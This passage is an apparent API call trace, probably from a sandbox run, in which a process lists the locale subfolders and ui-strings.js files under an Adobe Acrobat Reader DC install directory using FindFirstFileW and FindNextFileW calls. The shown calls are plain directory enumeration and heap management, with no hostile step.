ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.696] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.696] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.696] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0248.697] GetProcessHeap () returned 0xc10000 [0248.697] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.697] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0248.697] GetProcessHeap () returned 0xc10000 [0248.697] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.697] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.697] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.697] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.698] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.698] GetProcessHeap () returned 0xc10000 [0248.698] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.698] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0248.698] GetProcessHeap () returned 0xc10000 [0248.698] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.698] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.699] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.699] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0248.699] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.699] GetProcessHeap () returned 0xc10000 [0248.699] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.699] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0248.699] GetProcessHeap () returned 0xc10000 [0248.699] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.699] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0248.840] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.840] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.841] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.841] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0248.841] GetProcessHeap () returned 0xc10000 [0248.841] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.841] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0248.841] GetProcessHeap () returned 0xc10000 [0248.841] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.854] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.854] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.854] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.854] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.854] GetProcessHeap () returned 0xc10000 [0248.854] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.854] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.869] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0248.869] GetProcessHeap () returned 0xc10000 [0248.869] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.869] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.871] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.871] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.871] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.871] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.872] GetProcessHeap () returned 0xc10000 [0248.872] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.872] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0248.872] GetProcessHeap () returned 0xc10000 [0248.872] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.874] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.874] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.874] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.874] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.874] GetProcessHeap () returned 0xc10000 [0248.875] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.875] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0248.875] GetProcessHeap () returned 0xc10000 [0248.875] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.876] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.876] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.876] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.876] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.877] GetProcessHeap () returned 0xc10000 [0248.877] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.877] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0248.877] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0248.877] GetProcessHeap () returned 0xc10000 [0248.878] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0248.878] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, 